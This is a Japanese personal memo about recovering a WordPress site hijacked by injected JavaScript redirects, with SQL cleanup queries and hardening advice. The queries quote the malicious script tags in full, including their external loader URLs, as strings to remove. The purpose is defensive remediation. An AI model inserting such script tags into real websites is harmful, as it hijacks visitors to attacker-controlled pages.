自分のためのメモ

改ざんによるリダイレクト

ユーザより他社で過去に制作したサイトが変なページにリダイレクトされると問合せがあった。
該当サイトを開くと、一瞬ページが閲覧できるがすぐに怪しいドメインに強制リダイレクトさせられた。
管理画面にも入れない。

そこで検証ツールのApplicationからCookiesを削除してブラウザを更新するとなんとか管理画面は表示された。
しかし、ユーザ名、パスワードを入力するとまたもや管理画面のURLのままで「このページは機能していません」エラーとなる。
先程のログイン試行で「裏ではログインできている」前提で、試しに
管理画面URL/upload.php
にアクセスしてみると、無事メディア一覧ページが表示された。

最終更新日は古いが
Exploit Scanner
https://ja.wordpress.org/plugins/exploit-scanner/
プラグインを追加し実行してみたところ、それはそれは多くの怪しいjavascriptが検出された。

アップロード済みの「全て」の画像やファイルの説明欄に埋め込まれている。

1つずつ消していくのは(見落としなどがあった場合)現実的ではないので、何か一括で操作できないか探しておったところ、似た事例がありました。
https://support.google.com/webmasters/forum/AAAA2Jdx3sU1IT1Xg3pBwU/?hl=en&gpf=%23!topic%2Fwebmasters%2F1IT1Xg3pBwU
このページのRecommended Answerのところ。
Google翻訳してみると「データベースに存在し、、(略)、、マルウェアを削除する小さなクエリを作成しました」との文面の下に

UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>', '') WHERE INSTR(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>') > 0;

とあるので、こちらに期待してみる。
注意点としてはhttps://traffictrade.life/scripts.jsとなっているところを今回仕込まれていたURL(js)に変更する必要がありそう。
因みに今回はhttps://open.classicpartnerships.com/close.jsであったので、上記コードを

UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=\'https://open.classicpartnerships.com/close.js\' type=\'text/javascript\'></script>', '') WHERE INSTR(post_content, '<script src=\'https://open.classicpartnerships.com/close.js\' type=\'text/javascript\'></script>') > 0;

とし、ここでDBデータをバックアップ用にエクスポートしておく。
phpMyAdminにログインして、SQLタブを選択するとSQLを書いて実行できるエディタが表示されるので、上記をペーストして実行。

もし上記で解決しない場合は、コード冒頭のテーブル名「wp_posts」が異なっている場合が設定によっては考えられるので、テーブル名の確認をする事。※複数にまたがっているケースもあり。(通常はwp_posts)

実行後、再度Exploit Scannerでチェックし、怪しい記述が検出されなかったらOK。

今後のために

一度破られたサイトはまたすぐに同様の手口でアタックを受ける可能性が高いので、

  • 登録済みユーザのパスワード変更
  • 管理画面URLの変更
  • セキュリティ系プラグインの追加(既に導入済みの場合は設定見直し)
  • DBやFTPの接続パスワード変更

などは最低限やっておいたほうがよさそう。
セキュア系プラグインはSiteGuard WP PluginAll In One WP Securityが有名。